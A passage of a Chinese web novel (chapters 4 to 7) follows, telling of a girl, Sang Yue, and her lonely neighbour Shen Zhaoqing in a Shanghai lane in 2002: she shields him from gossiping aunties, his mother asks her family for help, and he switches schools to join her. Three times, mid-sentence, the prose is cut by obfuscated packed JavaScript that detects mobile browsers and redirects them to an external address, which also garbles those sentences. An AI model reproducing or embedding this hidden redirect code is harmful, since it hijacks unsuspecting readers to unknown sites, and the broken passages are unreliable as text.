4. 04 赶在中午开饭前，一大三小四个人按原路回了家。 周骏才眼神好，隔了老远就看到，外婆正站在弄堂口的阴影中摇扇子。 在弄堂里，田书秀讲话太怪里怪气，性格又强势，人缘不好，和左邻右舍都闹过不愉快。 之前，罗英怕田书秀白天和邻居吵架、殃及在家的桑悦，还到处和邻居打招呼道歉。 也因此，田书秀没有太多说得上话的人，哪怕不远处就有俩阿姨坐在一起择菜噶三糊（闲聊），她也没有加入她们，只是一个人站着。 桑悦听到周骏才喊了声“外婆”，立马加快脚步奔过去，一下子扑到田书秀怀里。 她脸上总是笑眯眯的，仰起头，稚声稚气地问：“外婆！侬等阿拉啊？” 见到桑悦，田书秀半耷拉的眼皮往上扯了扯，一贯有些苦相的脸上露出几分笑意来。 “哪能去了嘎多辰光啦？中饭老早烧好嘞。” 桑悦回过头，指了指坠在最后的沈照清，给外婆解释：“我们带沈照清起城隍庙白相了呀！” “城隍庙今早宁多不多？” “还好。” “个么好早点回来了呀。侬看看叫，纳胖哥哥要热死特了。”说着，外婆又牵过了周骏才的手臂，把他拉到前面来，上下打量几圈，“走伐走伐，回起了。衣裳都湿特了。” 桑悦没动，撒开手，转去外公后头找沈照清。 她抓住他的衣摆不让他走，小声问：“沈照清，你妈妈今天又不在家，那你中午吃什么呀？要不要到我家去吃？” 虽然田书秀明明看到了沈照清，却也没发出邀请，但她要是求求外婆的话，说不定外婆会答应的。 最后一句话，桑悦故意说得非常大声：“我外婆做饭老好吃了！” 果然，田书秀听到这话，停下脚步，回头看了看两个小孩，嘴角微微牵动了一下，没什么情绪地开口问道：“侬就是后头搬得来额小人对伐？帮悦悦一道到阿勒屋里响起伐？” （你就是后面楼搬来的小孩吗？和悦悦一起到我们家去吧？） 桑悦用力点点头。 外婆家虽然又小又破，地板开裂，还没有空调，和沈照清家没法比，但她心里还是会期待有朋友能不嫌弃地来玩的。 上海人普遍算不上特别热情好客，田书秀又有点洁癖倾向，极度要干净，地板每天都要蹲着用抹布擦一遍，这种生活习惯下，实在不适合请人到家里来玩。再加上家里没单独的厕所，还在用痰盂，也不好让没血缘关系的朋友一起用，太不方便。 沈照清也住在弄堂里，下个楼穿一条弄堂就能回自己家，不用借用厕所，应该也不会对桑悦外婆家的窘迫情况感到惊讶。 她满怀期待地看向沈照清。 但沈照清无视了桑悦的目光，对着田书秀口齿清晰地回答道：“谢谢侬，我还是回自己家了。” 闻言，桑悦瞪大了眼睛，失声惊讶道：“你居然会讲话！沈照清，原来你不是哑巴呀？” 沈照清：“……” 旁边的周骏才都被桑悦逗乐了，“悦悦侬则戆度啊，人家沈照清刚刚不是还帮外公讲谢谢了吗？侬耳朵聋了？” 桑悦确实一点都没听见。 她太爱说话了，小嘴叭叭叭个不停，还对沈照清保留着“不会说话”的固执印象。再加上城隍庙人多吵闹，压根没注意他说了什么话。 桑悦：“我真的没听见嘛！” 周骏才：“人家是不想帮你讲话啦。侬老烦了。” 桑悦被他气得脸红，“哼”一声，也不睬他们了，扭头兀自跑进了楼里，把所有人都抛在身后。 最终，沈照清还是没上桑悦家吃饭。 桑悦也好几天没去找他，每天都懒懒散散地躺在家里吹电扇看电视。罗英已经把《还珠格格2》的VCD碟片借来，顺带还借了套阮丹宁版的《上官婉儿》来。这个剧之前桑悦已经看过几遍了，但还想再看，就又让罗英借了一次。 外公和周骏才坐在地上打牌的时候，她就拉着外婆一起看电视，哪里都不去。 一想到自己被沈照清骗了那么些日子，桑悦简直气不打一处来，只觉得自己被朋友背叛，还因此被周骏才嘲笑笨蛋，真是一辈子都不想理他了。 …… 上海是沿海城市，空气湿度高，一年四季都是会下雨的，包括夏天。 七月中旬，一场暴雨来袭，冲散了几分酷热。 桑悦松动了半个来月的牙齿，有了自然掉落的迹象。 她偷偷用手打圈一样摇了几天，终于自己把那颗牙给弄了下来，没用上罗英的暴力线拔法。 晚饭过后，田书秀知道了这个好消息，拉过桑悦的脑袋，眯起眼，盯着她换牙掉下来的那颗牙洞看了好一会儿，确认牙齿是一整个人完整地下来、没有少一块在里面之后，才让她去把牙扔了。 “下面的牙要往房顶上面丢，换牙以后才能长得齐咧！” 桑悦之前也被叮嘱过这回事，熟练地点点头，握着那颗牙出门跑下楼去。 她家是整条弄堂里最高的楼，隔壁石库门里房子大多只有两楼，就算各家自己搭了阁楼，从外婆家的窗户看出去，也没有比她们高的房子。 既然要往上扔，就得到楼下去扔。 夏夜雨后的八点半，弄堂里时不时有一阵阵的穿堂风吹过，很是清凉舒服。 不知道哪户人家在家里搓麻将，麻将牌互相碰撞，“哗啦哗啦”地作响，声音从房门窗户的缝隙里飘出来，再加上弄堂里打牌下棋的爷叔们各自吵吵嚷嚷，混杂在一起，热闹得不得了。 这是小桑悦记忆中每个夏天的味道，潮湿又温柔。 她心情很好，蹦蹦跳跳地往里走了一段，再转进没人的角落，看准屋顶的黑色瓦片，跳起来奋力往上一扔—— 路灯在外面，这个位置的光线不够明亮，小小的一颗牙脱手，立马就不知道飞到了哪里去，不知道是顺利扔到了屋顶上，还是中途就掉了下去。 不过这也就是一种习俗，做了就当是完成了。 桑悦拍拍手，确信自己之后新长出来的牙一定会非常整齐。 因为这个好消息，她决定大方一点，主动去找好几天没见的沈照清和解，顺便再问问他《四驱兄弟》的剧情播到哪里了，阿吉的四驱车修好了没有。 这会儿，沈照清家的石库门大敞着。 桑悦轻轻松松就窜了进去。 门里的巷子小而窄，总体来说略显逼仄，不比外头的弄堂那样清爽，路灯光线也要昏暗许多。 沈照清家门口对面的空地上，有两个阿姨坐在屋檐下噶三糊。 桑悦过去的时候，好巧不巧，沈照清拎着一袋垃圾，开门走出来。 那俩阿姨先看到了沈照清，立马笑着开口喊他：“清清啊，噢哟，噶晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172609|165164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，你妈妈还没回来啊？怎么让你一个小孩自己进进出出嘞？不安全的呀！” 沈照清压根不带吭声的，只朝着那俩阿姨点了点头，算是打了招呼，径直就想往垃圾桶那边走。 “欸，欸，清清，别走呀，过来跟阿姨们讲讲，你爸爸和你妈妈怎么样了呀？” “……” “你老是不讲话，你看，你爸爸妈妈不要你嘞。整天都不回来。小孩子嘴巴要甜一点的呀。” 在所谓的大人眼里，“你爸妈不要你了”和“你喜欢爸爸还是喜欢妈妈”是同等存在，都是逗小孩子用的话术。 大人们完全不明白，小朋友也会尴尬，也会不舒服，也会觉得下不来台。 小朋友们不觉得好笑，也不觉得有趣，但被教导着对长辈要有礼貌，又受到年龄限制，没有学会那么多可以反击的话，只能红着脸忍下来。 对此，桑悦可太能感同身受了。 因为她爸妈都要上班，她一直在外婆家生活，罗英几乎也是天天过来，周末偶尔才回一趟自己家，等于她就是和妈妈外婆一起长大的。时不时就有人对她开玩笑，说东说西的，比如“悦悦你爸爸不要你了，你看他都不来接你”之类的。 桑悦每次都想说，不要就不要了、要你管，但又不好意思开口，只能忍着，让那些“长辈”肆无忌惮地打量着她尴尬的脸色。 这一次，她听到这句话，就像条件反射一样立刻看向沈照清。 沈照清垂着眸，长长的睫毛挡住了眼睛里的情绪，但单薄的身板在昏暗的光线下，看起来却有些许可怜。 看到难得的朋友如此，桑悦心中立刻生出许多的勇气来。 她三两步跑上前去，身体挡在沈照清面前，冲着那两个有点脸熟的阿姨大声说道：“你们瞎讲！沈照清现在这样就很好！他爸爸妈妈才不会因为他不说话就不要他！” 刚刚说话的阿姨看到冲出来的桑悦，愣了一下，“……是罗家的悦悦啊。这么晚了，侬哪能一个人跑到这里来了啦？” 桑悦不许她转移话题：“阿姨，你不能这样说沈照清，你现在应该要向沈照清道歉！” 听到她这般义正言辞的语气，那俩阿姨“哼哼哼”地用鼻孔大笑起来。 “你们俩这么快就认识了啊。噢哟，悦悦，阿姨又没有瞎说了，你不信去问你外婆你阿姨，清清爸爸妈妈是在准备离婚了呀。弄堂里大家都知道的咯。侬小孩子，不懂的。” 桑悦气得脸都红了。 但一想到沈照清也能听到这些话，只会更生气，她立马转过身，双手用力捂住了沈照清的耳朵，不让他继续听。 “……” 沈照清还没反应过来，眨眼间，先闻到了桑悦身上立白洗衣粉的味道。 香香的，很好闻，就近在咫尺。 他眨了眨眼，一动不动，只探究般盯着她的脸看。 桑悦没有注意到他的眼神，只是扭着脸，用一个很别扭的姿势，同那俩嘴巴很烦的阿姨争论不休。 但她不知道，用手掌捂耳朵，中间空隙太大，再用力也是堵不住声音的。 很快，沈照清听到了她的话，从风里偷偷溜到他耳朵里，一下一下敲击着鼓膜。 桑悦说：“如果他爸妈离婚了不要他，那是他爸妈不好，沈照清很好的！我要他的！才不是没人要他！阿姨，你们以后不要这么说他了。不要欺负我们小孩子。” 5. 05 桑悦仗义执言替沈照清出头、和大人吵架的事情，飞快传遍了弄堂。 那几天，罗英上下班进出，都能碰到弄堂里的邻居跟她开玩笑：“你家悦悦嘴皮子很厉害的。蛮好的，像你。” 在田书秀的五个女儿里，罗英其实算不上多会吵架，只是因为她们五姐妹都是厉害人，田书秀自己也凶，家里有事没事儿就开始拌嘴，像一千只鸭子在吵架，非得用嗓门压过别人才行。 长此以往，罗家姐妹们也渐渐地开始名声在外。 邻居表面客客气气，私下都知道她们一家人的厉害，干什么都是绝对不能吃一点亏的。 罗英听了邻居对桑悦半夸半损的表扬，表面上笑笑，跟着一起说了几句她“年纪小不懂事”的客套话，回到家后，立马把桑悦拉来教训了一顿。 “桑悦，谁允许你晚上一个人溜出去玩的？还敢跟别人吵架，你不怕人家请侬吃耳光啊？” 罗英工作的发电厂距离市中心很远，但有厂车每天接送员工上下班，主要线路是往返他们厂和员工福利分房那个小区之间，其他路线很少。她和桑悦一起住在田书秀家，厂里分的房子在杨浦，平时只有桑悦爸爸一个人住着。 所以，如果要去搭最近厂车，过去还得走个二十来分钟。罗英得早上六点半就出门，晚上将近六点半才能到家，每天有差不多12个小时都不在家。 她生怕田书秀和邻居拌嘴，到时候影响桑悦。 万一碰到个极端的，吵架上头，家里白天只有老人小孩，人家拿把刀冲进来，一点办法都没。 当然，桑悦自己和人吵架，那也是绝对不能允许的。她那么小个萝卜头，被人抱走卖了该怎么办？ 但桑悦年纪太小了，一点都不能理解这些内情，只是气鼓鼓地跟她顶嘴：“我没有吵架啊，我是让她们不要那样讲！妈妈，你都不知道，沈照清都快要被她们说哭了……” 罗英简直被她气笑了，“大人开几句玩笑而已，怎么就要哭了呢？再说了，人家自己也有妈妈啊，他要是受委屈，他妈妈会帮他出头的，要侬去组撒？” 桑悦也有自己的道理，她说：“可是，三阿姨和姨夫吵架，你不是老去帮忙吗？” 桑悦口中的三阿姨就是罗芬，也就是周骏才的亲妈。 罗芬早年和周骏才他爸自由恋爱，甜甜蜜蜜了一阵之后才发现他爸有精神病，喝多了就打老婆儿子，还威胁说如果离婚，就把她们一家全杀了，反正精神病杀人不犯法之类的浑话。 家里人怕罗芬被打，也怕他真的发病，夫妻俩吵起架来，家里难免要找人去做调解员。 罗英：“你三阿姨是自家人！我不帮忙怎么办？！” 桑悦：“可沈照清是我的朋友，也是自己人，所以我也要帮忙呀。” “……” 罗英气结。 最终，还是贺云皎在旁边打圆场：“好了好了，悦悦过来看电脑了。” 桑悦立马就笑起来，“姐，你要玩《模拟人生》了吗？好耶！” 去年，贺云皎为了找工作，她妈罗莉花重金给她买了台电脑。 这年头，国内各种品牌机还未普及，电脑是找了贺云皎同学帮忙买配件组装的，前前后后花了将近六千块，算是一笔巨款了。 家里人怕小孩把电脑玩坏，平时除了贺云皎自己，谁都不让碰。 桑悦和周骏才想玩也没办法，只能等贺云皎回来之后，才能凑在旁边看她用。 后来贺云皎找了个特别好的工作，不需要再用电脑投简历，再加上拨号上网不便宜，这个大家伙就成了她玩单机游戏和看剧的工具。 家里只有VCD机，只能看罗英从单位借来的那些VCD碟，但电脑可以放DVD，有更多更新的剧可以选择。而且，碟片在南京路上的音像店就有卖，很方便，也不贵。 桑悦跟着贺云皎一起看完了《流星花园》，又跟着看她玩《模拟人生》，每天在游戏里建房子，还会有小人在里面生活。 她觉得很新奇，一分钟都不愿意错过，连睡觉都比平时晚了很多。 所以，贺云皎一喊，桑悦也不管她妈了，立马跟着姐姐一起窝到了放着电脑的角落里。 结果，屁股还没坐热，外头传来了周骏才的声音。 “桑悦！你朋友来寻侬白相了！衣服穿穿好噢！” 桑悦：“……” 夏天为了通风，弄堂里很多人家都是房门大敞的。 外婆家在四楼最里面，平时也就隔壁邻居会走过来，他们当然也是不关门的，好让穿堂风吹进来，室内凉快一点。 周骏才人还在很远的地方，但这么一嗓子，声音已经顺着走廊清清楚楚地传到桑悦耳朵里。 桑悦还是小孩，没那么讲究，有时候田书秀就让她穿个短了一截的小睡裙，坐在凉席上看电视。 舒服是舒服，风凉也风凉，但如果要见外人，那是绝对不合适的。 她低头看了看自己，很巧，今天穿的是短袖短裤，好像没什么不好。 没一会儿，李觅带着沈照清，出现在门口。 李觅敲了敲门，很客气地问道：“不好意思，这里是桑悦家吗？” 田书秀她们几个人都在看电视，听到动静，齐齐看向门边。 “侬好，侬……” “哦，我是沈照清的妈妈，李觅。” 李觅是来道谢的。她也从邻居的七嘴八舌里，听说了桑悦的事迹。 当然，会找上门来，必然有沈照清本人的意愿在里面。 听李觅这么自我介绍过后，在场几个大人皆是面面相觑。 最后，还是罗英接待了她。 “侬好侬好，沈照清妈妈，你们是之前新搬来的吧？一直也没碰上面，今天才认识。我是桑悦妈妈。” 罗英生孩子生得晚，今年都四十四还多了，比李觅要大了将近十五岁。但她的容貌和身形都遗传到了桑悦外公，脸小五官立体，个子也是又高又瘦，穿一身随随便便的旧衣服也蛮有气质，完全不显年龄。 两人客气地寒暄了几句，李觅又将拎上来的两盒丹麦蓝罐曲奇、还有一罐子瑞士糖拿给旁边的桑悦后，这才说出来意：“桑悦妈妈，很不好意思开口的。其实是这样，我平时工作忙，一直不在家，看两个孩子又玩得来，暑假能不能让我家沈照清中午跟着你们搭个伙？不知道会不会太麻烦了……” 说着，她从包里拿出一个信封，塞到罗英手上。 罗英愣了愣，“这……” 李觅：“吃饭不方便也没关系，或者下午让沈照清跟着悦悦玩，悦悦到我们家里去玩也可以的，家里什么吃的玩的都有。我们俩搬过来之后，悦悦一直很关照清清的，这也是我的一点点心意，你们一定要收下。” 闻言，罗英连忙推开她塞过来的信封，解释说：“其实平时我不在家的，都是桑悦的外婆在管她。” 她不好替田书秀接这个活，虽然是个孩子，但是多管一个人的饭，总归是麻烦的。收了人家的钱，也不能太敷衍。 但田书秀刚刚已经避出去，到公共厨房那边洗衣服去了，人不在屋子里。 罗枚倒是在。 因为有客人过来，家里没人继续看电视，她自说自话地把电视调到了戏曲频道，一边看一边听李觅和罗英说话。 李觅又拜托了两句，罗英一直没有松口。还是罗枚帮腔了几句：“钱就算了，孩子平常来玩玩没撒关系。” 罗枚是五姐妹里唯一没有结婚的，一直跟着田书秀。 她特别喜欢孩子， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172610|165164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贺云皎、周骏才、桑悦他们仨小时候送到外婆这里，她都帮着抱过不少日子。 李觅听她这么说，连忙道谢：“谢谢谢谢，我也知道很麻烦你们的，实在是不好意思开口，唉……” 桑悦难得全程没有插嘴。 沈照清进门之后，她就像个小大人一样，很有主人翁意识，领着他到沙发上坐下，又去冰箱里拿冷饮。 沈照清是她第一个到外婆家来玩的朋友呢。 对桑悦来说，实在称得上意义非凡。 外婆家人多，还有周骏才这个大胃王小胖子在，夏天冷饮消耗得特别快。外公上周刚去批发的两箱，到今天，只剩五六根盐水棒冰了。 没有挑选余地，桑悦只能随手摸了两根，回到沙发边，递了一个给沈照清，有些紧张地观察他的神情。 令人高兴的是，沈照清低声道了句谢，就爽气地接过了棒冰。 从进门开始，他既没有眼神乱转、四处打量，也没有露出一丝一毫的诧异和嫌弃，一直乖乖坐在桑悦家这个里头弹簧都快要坏掉的破沙发上，是桑悦心中完美的客人、完美的小伙伴。 于是，她喜滋滋地坐到沈照清旁边，催促他：“沈照清，你也吃呀！你不热吗？” “还好。” 说完，沈照清拆了自己手中的冷饮。 盐水棒冰的包装纸是那种有点单薄的材质，稍微碰一下，就会发出“西索西索”的声音。 两个孩子就这样欢欢喜喜地靠在一起，有一口没一口地抿着半透明的棒冰。 不过，这批发价六毛一根的盐水棒冰，好像比平时舔起来更好吃。 “沈照清，你下次还会来我家玩吗？” “如果你外婆同意的话。” …… 等沈照清母子俩离开后，罗英和田书秀商量了一会儿，还是勉强答应了李觅的请求。 一起吃午饭是比较麻烦，帮忙带一下沈照清倒是问题不大。反正桑悦和周骏才都在，让几个孩子在一起玩就行。 到底距离一年级开学也只有一个月多点，罗英想着，能让桑悦有个玩伴也可以，沈照清看起来文文静静的，以后如果一起上学，能看着桑悦少惹是生非就最好了。 睡觉前，罗英嘱咐桑悦，让她明天把那两盒曲奇和那罐糖送回沈照清家里去。 “收人家那么贵的礼，不好。” 2002年，丹麦蓝罐曲奇是上海人眼里的进口货，价格不便宜，平常家里不会经常买。桑悦上一回吃，还是罗英最小的妹妹、罗敏从国外回来探亲的时候，带回来一盒分给他们的。 罗英和田书秀都是极度要面子的人，虽然节省，但从来不肯占人家便宜，也不会贪图李觅这点礼。 桑悦还不太明白这种人情往来的意义，白天依言把曲奇和糖送了回去，沈照清却当场打开了一盒，示意她在这里吃。 桑悦眼睛亮起来，想伸手，却还是犹豫地问道：“可以吃吗？不用问问你妈妈吗？” 沈照清：“不用。你吃。” 说着，他打开了空调，又打开了电视，顺手把遥控器给了她。 有这两样神器在，桑悦硬生生在他家赖到了傍晚才走。 “桑悦，你明天还会来玩吗？” “没事的话就会的呀。怎么了？” “那你能不能早点来？” 桑悦笑起来，跺了跺脚，将鞋穿好，直起身，同沈照清说：“你一个人在家害怕吗？我外婆说了呀，你可以到我家来找我的。我们还能和胖哥哥一起打牌呢。” 沈照清紧跟上话：“那我明天一早就来找你。” 桑悦：“好啊。明早再会哦。” 她朝着沈照清挥挥手，头发一跳一跳，跃入了石库门外那抹橙红的夕阳中。 6. 06 弄堂里多了一个沈照清，桑悦原本悠长无聊的假期变得生动起来。 李觅不知道在忙什么，无论工作日还是周末，大部分时间都不在家，居然能把年仅7岁的小孩长期一个人放在家里，让沈照清自己管自己。 但有了田书秀的默认，他成功变成了桑悦家的编外成员。 天气热的时候，桑悦呆在沈照清家，跟他一起坐着看电视吹空调。有时候周骏才也会一起，就让他去沈照清房间里玩电脑。 直到这时候，桑悦才知道，沈照清家也有电脑。只是没放在外面，所以她一直没看到。 而且，沈照清居然拥有自主开机权。 李觅好像完全不怕他弄坏机器。 但因为没有模拟人生的装机光盘，桑悦还是对电视台里放的动画片兴趣比较大。倒是周骏才，在沈照清的允许下，往他电脑里装了7月刚刚面世的新游戏《魔兽争霸3》，时不时就过来打上两局。 等到傍晚，太阳落山，周骏才跟外公出门遛弯，桑悦不想动，就带着沈照清一起坐在弄堂里吹风吃冷饮，顺便给他说一些自己想说的废话，强迫他做听众，也不用回应。 桑悦没零花钱，冷饮都是从家里顺出来的，免不了被外婆说几句，但她却丝毫不吝于分享给沈照清。 几次之后，沈照清家的冰箱里也开始出现冷饮。 像娃娃头、绿舌头、火炬之类的，都是桑悦喜欢的口味，满满当当装了大半个冷冻，好像永远吃不完一样。 周末，周骏才会被罗芬接回自己在杨浦的家里去，和父母一起过休息日，剩下桑悦和沈照清俩小萝卜头，依旧在弄堂里晃荡。 八月下，上海已经出伏，晚上没之前那么热了。 晚饭时间过后，桑悦带着沈照清到了外婆家那栋楼。 他们这楼的二楼没有人家，一整层楼都是做那种小宾馆用的，地段虽好，但楼太破，往常好像没有什么住客。宾馆门口是个半敞开的平台，顺着楼梯方向望出去，能看到永和豆浆的厨房后门。 平台上放了几个纳凉用的小板凳，还有个半旧躺椅，桑悦和沈照清就坐在板凳上吃蝴蝶酥。 蝴蝶酥是罗枚从国际饭店顺路买回来的。 昨天逸夫舞台有越剧演出，上海戏剧团来表演，她看完之后绕了一下路，跑去买了一袋蝴蝶酥，还为此被罗英说了一顿，说浪费钱。 罗英她们单位有食堂，里头做的西点又便宜又好吃，比国际饭店这种噱头实惠得多。 姐妹俩吵了两句嘴，这蝴蝶酥就一时半会儿没人去动。 桑悦不想看着她们把吃的放到过期、再为了不浪费硬吃下去，干脆拿出来和沈照清分了。 罗枚是越剧迷，从早期的徐玉兰王文娟一直追到两人的徒弟钱惠丽单仰萍，但凡能拿到票的场次都不能错过。平常她在家里也爱听戏，家里的VCD就是她买来放越剧《红楼梦》和《西厢记》的，桑悦听得耳朵起茧，现在都能哼哼两句“天上掉下个林妹妹”，虽然不知道具体是什么意思，只是依样画葫芦地唱。 四下没人，桑悦擦了擦嘴，假模假样地起了个范，给沈照清唱：“天上掉下个林妹妹，似一朵轻云刚出岫。只道他腹内草莽人轻浮，却原来骨格清奇非俗流……” 小女孩嗓音稚嫩，但气短又没音准，把好好的几句越剧唱词唱得稀奇古怪。 沈照清没笑，只是默默看着她。 桑悦：“沈照清，你怎么不点评一下？” 沈照清：“还可以。” 桑悦的眼睛立刻弯成月牙，叠声追问道：“真的吗？你可是第一个夸我的人，我妈老说我唱歌五音不全，难听得像念经。哼。” 偏偏她连念经都念不准音调。田书秀在阁楼上藏了不少佛经的磁带碟片，每天都要念，桑悦跟着全都看过听过，但至今唱大悲咒都还唱不好。 沈照清没什么表情，小幅度点点头，再次回答她：“真的。” 桑悦很容易就会相信别人说的话，对这个年纪的小孩来说，语言是最简单的输入输出，不包含任何潜台词，无论别人说好与不好，在进入她耳朵的那一瞬间就已经确定了。 所以，她很容易被安抚好，笑嘻嘻地又掰了一大块蝴蝶酥给沈照清，顺便问他：“明天周末了，你妈妈还是不在家休息吗？个么要不要跟我和我妈一起去外滩玩呀？” 闻言，沈照清毫不犹豫地答应：“去。” 桑悦：“好呀！那我早上来叫你哦！” …… 次日一早，还是沈照清先起床，收拾好自己之后，上桑悦外婆家来敲门。 桑悦没料到他来得这么早。 家里还有其他人没起床，像贺云皎和罗枚，都还在阁楼上睡觉，随时就有可能下楼。家里有个陌生男孩，虽然是小孩，到底也不方便。罗英就让桑悦先带人出去。 桑悦想了想，拖着沈照清去走廊尽头的公共大厨房，拿了个红色塑料凳给他，让他坐在外婆家的煤气灶边，陪自己洗脸刷牙。 比起六月那会儿，桑悦的头发已经长长了一些，但又还没到能梳辫子的长度。 罗英给她把前面的刘海连同头顶那撮头发一起扎起来，扎了个小揪揪，翘在脑袋上。 视线是不遮了，也没全盖着头那么热了，但头脸整体看起来更像苹果了，还是有苹果蒂的、一颗完整的苹果，圆溜溜水灵灵的。 沈照清盯着那个小揪揪看了半天，在她拧毛巾的时候问：“要不要帮你？” 桑悦：“什么？……哦，你说这个毛巾啊，不用，我拧得干。” 之前都是外婆帮她拧的，但罗英说她马上就要去上小学，早上不一定有时间等别人来帮忙，让她自己先拧着适应适应，以免迟到。 反正天气热，毛巾半干不干的也没事。 毛巾在她手中前后左右转了好几圈，终于不再滴水。桑悦把它盖到脸上，胡乱蹭了一遍。 “……好了好了，我洗好了。沈照清你别急，等我吃个早饭阿拉就出发。啊，你吃了吗？” 沈照清点头，“吃了。” 他家有一大堆饼干，牛奶也不缺，早饭很好解决。 桑悦家的早饭差不多也是这种配置，牛奶饼干或者牛奶面包或者麦片饼干，如果前一天家里买了别的点心，那就替换掉饼干。 她家虽然是老上海，但家里人人都挑剔，路边摊的大饼油条不吃，几乎都是更爱吃西点，或是罗英从单位食堂买回来的那些海派点心，例如“椒盐鞋底板”、牛乳酥之类的，在细枝末节的地方很小资洋派。 整个家里，唯独外公爱喝豆浆吃小笼，吃不惯洋人口味，就自己一个人去楼下的永和豆浆吃，独来独往的，不怎么和一屋子女人一起。 因为沈照清在旁边等着，桑悦飞快地从小菜厨（放菜的柜子）里拿了包康元手指饼干，抓了一把给他，又抓了一把塞进自己嘴里，蛋奶星星也不配了，直接拿纯牛奶灌了一起咽下去。 她用餐巾纸擦了擦嘴，大喊一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172611|165164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声：“妈妈！阿拉好嘞！” 罗英还在窗边晾衣服。 外婆家没有阳台，但老上海人也不需要阳台，都用窗户外装着的“龙门架”晾衣服。 今天天气好，罗英把晾衣杆撑出去，夏天的衣服裤子吹吹风晒晒太阳，晚上就能干。等家里收拾停当，她和田书秀打过招呼，领着两个孩子出门。 弄堂靠近桑悦家的这个出口在河南路上，走到外滩江边大概十五分钟左右。 周末，路上游客比工作日多，但也不至于人挤人。 桑悦牵着罗英的手，叽叽喳喳地说话，全程没停下过。 而且，她还有个坏毛病，路过什么店都说想要，这也要那也要，哪怕压根不知道卖的是什么。和外婆外公出门不敢提要求，和妈妈出门就瞬间原型毕露。 罗英快被她烦死，喊她“闭嘴”，立马转头去和沈照清说话。 “……清清，侬帮悦悦一样大对伐？个么再过几天也要读小学了咯？去读哪个学校啦？” 2002年，上海已经慢慢开始有了学区房的概念。 像外婆家所在的黄浦区，就是最好的区，好学校不少，但学生少，中考难度比别的区小不少。 罗英对桑悦没有特别大的要求，主要还是想让她能健康快乐长大，念书差不多就行，没有让她从幼儿园就开始学英语，也没有费劲给她找离家远、口碑好的小学，就在附近两所里挑了挑，选了又近又相对还可以的北京路小学。 桑悦的户口是挂在外婆家的，北京路小学是学籍对口学校，直接就能上。 沈照清才刚搬过来两个月，家里具体是什么情况都还是捕风捉影的流言，罗英不清楚他的户口在哪里，也只是随口一问。 沈照清乖乖回答道：“我妈妈说去应昌期。” 应昌期就是备选里除了北小之外的另一所，距离弄堂也不远，全名应昌期围棋学校，是小学初中九年一贯制学校。 李觅出于沈照清性格的考虑，觉得自己儿子又闷又静，做事专注还耐得住性子，干脆把他送去学围棋。不指望学到多专业，多个特长也可以。 她这两个月一直在忙离婚的事情，也没有空闲从长计议，直接替沈照清做了主。 听沈照清这么说，罗英还没回答，旁边的桑悦先长长地“啊——”了一声。 她表情生动，难掩失落，“你去应昌期啊，那我们不能一起上学了怎么办？” 沈照清：“……” 桑悦觉得，不能和小伙伴一起上学放学，就代表她还有可能一个人走，或者由罗枚来接送她。她和罗枚没什么话题可聊的，她不爱听戏，也不爱听弄堂邻居间的新闻，很没劲。 这件事对她的冲击，比她不小心弄丢了《上官婉儿》的碟片，还来得令人伤心。 桑悦耷拉着脸，嘟嘟囔囔地对沈照清说：“我不想和你分开。” …… 2002年，上海的天很蓝，空气很好，黄浦江边的堤坝还没有加高，城市里一派欣欣向荣的风貌。小孩子的快乐和难过也都很简单。 人生中第一次分别骤然来临。 桑悦整整低落了三天。 在小学开学前那一周，突如其来，沈照清第三次来到桑悦外婆家。 他没有进门，只是直直站在门口的走廊上，等着桑悦赤着脚从沙发上跳下来，“哒哒哒”跑向他。 等她到了面前，他飞快开口：“我转到北小了。桑悦，下周我们一起上学。” 7. 07 从外滩回到家，沈照清立刻拿起有线电话，打给李觅的号码。 2002年，第一款彩屏拍照手机已然面世，但普通人家压根不会花几千块去买这个。李觅还在用诺基亚8850，都算是手机比较早的一批用户了。 电话接通后，沈照清单刀直入：“妈，我要去上北小。” 李觅时常觉得亏欠沈照清良多，所以，为了儿子难得提出的一个要求，她立刻从一团乱麻的琐事和工作中抽出身来，给他去想办法换学校。 幸好，这年头换学校没后来那么难，只稍微奔波了几天，就让沈照清能顺利插进北京路小学去念一年级。 8月30号早上，田书秀领着桑悦和沈照清一起去学校报道。 很不巧，因为沈照清是招生结束才把档案转过去的，只能插到这届最后一个班，小一4班去。桑悦则是在一班。但两个班都是平行班，教室也是对门，平时除了上课之外，还是能一起。 1号是周日，学校9月2号正式开学，两人成了光荣的小学生。 桑悦在班上碰到了好几个幼儿园同学。 本来就是小学校，生源大多是住在附近的孩子，碰到一起很正常。 她性格开朗，很快就以座位为圆心，排队出操的队伍为半径，和周围一圈人混熟。 其中，桑悦关系最好的是方圆和宋书豪。 